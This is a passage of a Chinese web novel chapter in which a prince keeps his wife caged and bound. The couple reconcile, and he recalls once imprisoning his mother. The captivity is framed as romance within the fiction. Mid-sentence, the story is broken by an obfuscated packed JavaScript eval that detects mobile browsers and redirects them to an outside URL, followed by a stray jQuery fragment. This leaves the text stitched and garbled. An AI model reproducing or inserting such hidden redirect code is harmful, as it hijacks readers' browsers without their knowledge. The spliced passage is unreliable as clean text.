周言静静的听她说完,打开笼子,指尖触碰她的脸颊,满是眷恋,“你那么聪明一定可以学会的,对不对?”
她笑,“我聪明?”
“嗯。”小狗点头,眼睛亮晶晶的,好像在他眼里,对方是这个世界上最聪明的人。
瞧着他含笑的眼睛,司言茉也动摇了,前世除了家人,没人和自己说过这种话。
她也知道他们不过是哄她的。
在旁人眼里,她是司家那个傻子,一个指望不上的女孩。
即使后来清醒了,在周君松那里她也斗不过林娇儿,用她偷听到的周君松的话来说就是——又蠢又没用。
今生,她不觉着是自己变聪明了,她只是在学着前世遇见的那些人的说话做事,加上看命格的作用才看起来聪明一点。
可周言卿这家伙居然说自己聪明。
“你被我骗了,我哪里聪明了?”
“你哪里不聪明?”周言卿握住他的手,语气诚恳,“除了你还有谁能那么快就通过巫卜考核?”
她听人说过,在小狗眼里主人怎样都是好的。
嗯……更像小狗了。
她抬手想要去摸他的头,却被红布束缚住,有些气恼,“能不能先解开一点?”
“嗯?”周言卿歪头,怕她要趁机逃跑,“你要做什么?”
这人还真是!都说了这么多了,还觉着自己要逃跑?
司言茉叹了口气,“那你蹲下来一点。”
周言卿不解,但觉着总比她跑了好,便乖乖蹲了下来,叫她终于如愿以偿摸到了小狗的头。
见她眼中带着笑意,周言卿小心翼翼地问,“那……你愿意去学吗?”
司言茉调笑,“绑匪怎么这么客气啊?你不是应该说如果你不学,我就永远都不会放过你?”
“我那样说的话,你会讨厌我吗?”他站起身,握住女人的玉指,轻轻揉捏,眼神带着探究。
“你很害怕我讨厌你?”
周言卿思考几秒,本来身为“绑匪”占据主动权的他,如今又一次被司言茉绕了进去,可他还是心甘情愿的点了点头。
“那你去把魏敬忠的事解决了好不好?”
果然!
小狗瞬间生气,推开她的手,“我就知道!”
眼看着把小狗惹急了,司言茉忍不住偷笑,“好啦,好啦,我不是那个意思,但解决魏敬忠对你有好处。”
“你知道我要的不是好处。”
又是同样的对话,这一次司言茉选择软下声音,也许她真的应该尝试了解那些复杂的情感。
毕竟这一世她还有好久好久要活,她有朋友,有家人。还有一个……对自己这么好的“小狗”。
“我答应你我去学,去尝试。给我一点时间,好吗?”
听到这话,一股疯狂的喜悦蔓延至周言卿的全身,他甚至忘了自己还在囚禁司言茉,紧紧抱住她,将头埋在她怀里,“那就在我身边学。”
司言茉感受到脖颈处的湿润,没想到自己的一句话可以让他这么激动。
她轻轻拍了拍周言卿的背,“不在你身边,在哪里啊?我不是还被你绑着呢吗?绑匪先生。”
闻言,周言卿有些不好意思地轻轻推开她,下意识想要解开她手上的束缚,却又迟疑道:“你不会骗我吧?”
司言茉哭笑不得:“我骗你干嘛?再说了,我什么时候骗过你?”
“你不是一直没告诉我前世的事?”小狗垂头嘟囔。
见他如此,司言茉干脆把手一摊,“那就绑着吧。”
这下轮到周言卿愣住了,“你……生气了?”
“当然没有。”司言茉摇头,对于她来说都是一样的。
“反正在这里有吃的,有喝的,有人伺候,什么都不用干,比秦王府还舒服,要是你觉得安心,那就绑着呗。”
她向来是干脆的,一旦把两个事情想明白了就不喜欢弯弯绕绕。
既然她答应周言卿了,那能让对方把心放肚子里的事,为什么不做?
令她没想到的是,周言卿竟因为她这一句话眼眶变红,一只手抓着,那泛着光泽的红布,像是一个从未被人理睬的孩子,突然得到周围人的关注与夸奖一般。
“你……”
他不知道说什么才好,这么多年,没有人对自己这么好过,更没有人会在他做错事之后还愿意原谅他,甚至愿意顺着他。
这是连秦子修都不曾做过的事。
他上一次做这种事,被骂了很久。
那是他从军之后第一次见到母亲,他不是没恨过母亲。
他想问她为什么不要他,不管他,让他一个人被人牙子折磨,差点死在外面,连个收尸的人都没有。
可母亲只是看了一眼他,就转身离开,仿佛他不存在一般。
于是他用他在军队赚来的俸禄,置办了一个偏远的宅子,找人将母亲接过来,母亲不愿意和他住在一起,那他就把人关起来。
那个时候他还只是个孩子,他不觉得自己做错了,他只是想要母亲的爱,想要母亲多看一看他,可他只得到了母亲的恨。
秦子修发现这件事后,将他大骂了一顿,找人将他的母亲送走。
他至今还记着母亲离开时的眼神,那眼神里,甚至没有失望,只有恨意,仿佛看一个仇人一样。
他也是那个时候知道母亲不会爱他了,可孩子就是这样,即使母亲不爱自己,也会一直爱着她,希望她能赐予自己那么一点点,一点点的爱。
可笑的是,他后来得到母亲的“爱”了不是因为他做了什么事让母亲开心,也不是母亲终于想起自己这个儿子,而只是因为那个男人又出现了。
她不是想做他的母亲了,而是想做秦王的母亲,想做秦侧妃。
可周言卿还是很开心,至少母亲愿意关心他了。
那日听到司言茉说要和离的时候,他只知道自己又要被人抛弃了,母亲不要他了,师父去世了,如今自己唯一喜欢的姑娘也要离开自己。
他接受不了。
他明知自己要做的事,可能是错的,但还是做了。
他想,如果她也会像母亲一样恨自己,那就恨吧,反正他现在是秦王了,她就算恨自己也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526801|186333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有人能从自己身边将她带走了。
也许一直恨下去,反而是好的,总比她离开,总比多年之后她甚至都想不起自己这个人了要好得多。
可……司言茉偏生和所有人都不一样。
她没说自己这么做是错的,也没有生气,甚至没有恨。
她甚至在一步一步地找寻自己的问题,想要让他开心。
想到这里,周言卿笑了,一滴泪从眼角滑落,俯身抱住她,将脸埋在她的颈窝,贪婪地汲取着她的气息。
“阿茉,谢谢。”他的声音沙哑,却带着喜悦。
他想,他会一直爱这个女人了。
这世界上再也没有人会上她一样对自己这么好了。
司言茉起初并未看懂他这突如其来的情绪,反应过来后轻轻拍了拍的背。
小狗太缺爱了,也缺少别人的信任。
她突然想,如果也有另一个人这样对他,他是不是也会对那个人这般依恋?
想着想着她就笑了,她怎么变得和周言卿一样了?居然开始想这种幼稚的问题。
只是有些想法一旦开始就再也停不下来了。
之后的几天周言卿如某人所愿处理了魏敬忠。杀鸡儆猴,朝中其他暗戳戳想要反对这位年轻的秦王的人也默默停止了动作。
当他们知道,此事是那位新上任的巫卜,也就是秦王妃一人解决的时候,他们也明白,又一对秦子修和墨闻钟出现了。
打孩子必然要趁早,这种事自然也要在对方羽翼未丰时解决。
可惜他们晚了一步,魏敬忠这个准备最充分的人,此刻只能告老还乡保留体面,至于旁人……
要么选择现在就动手,要么就乖乖听从这位已经拥有自己势力的秦王的统领。
大多数人会选择后者,毕竟有野心是好事,但若是没有成功的把握,此时保全现在的一切反倒是最好的。
朝中也算是安宁了下来。
至于家里……司言茉乐得当个小废物天天等着周言卿送好吃的过来,怕她无料,还会找几个戏子过来给她唱戏解闷。
那藤香园的张角儿也是见过大世面的,可来到这儿,看到秦王妃被关在笼子里,还仿佛什么事都没发生,有心思看戏,也是一脸懵。
见她如此,司言茉摆摆手,笑道:“没事,不用管我,你唱你的。”
张角儿讪笑,估计是小两口的情趣吧。
她咿呀呀的开口,刚巧这时周言卿提着一篮点心走进来,打开笼门坐到司言茉身边,一切显得无比自然,让张角儿更怀疑这秦王与秦王妃定是有什么特殊癖好了。
司言茉没瞧出台上人眼中的震惊,一眼就看到了香毓斋的篮子,如果不是手被绑着,肯定就上手抢了。
“你去香毓斋了?”
女孩的眼睛亮晶晶的,叫周言卿心生欢喜,将篮子打开递给她,另一只手自然的握住她的手,“嗯,今日下了朝,想着你喜欢就给你买了一点。”
“这么好?”司言茉从篮子中拿出一块,咬了一口,开心的摇头晃脑,“那今天上朝怎么样?那帮老家伙没欺负你吧?”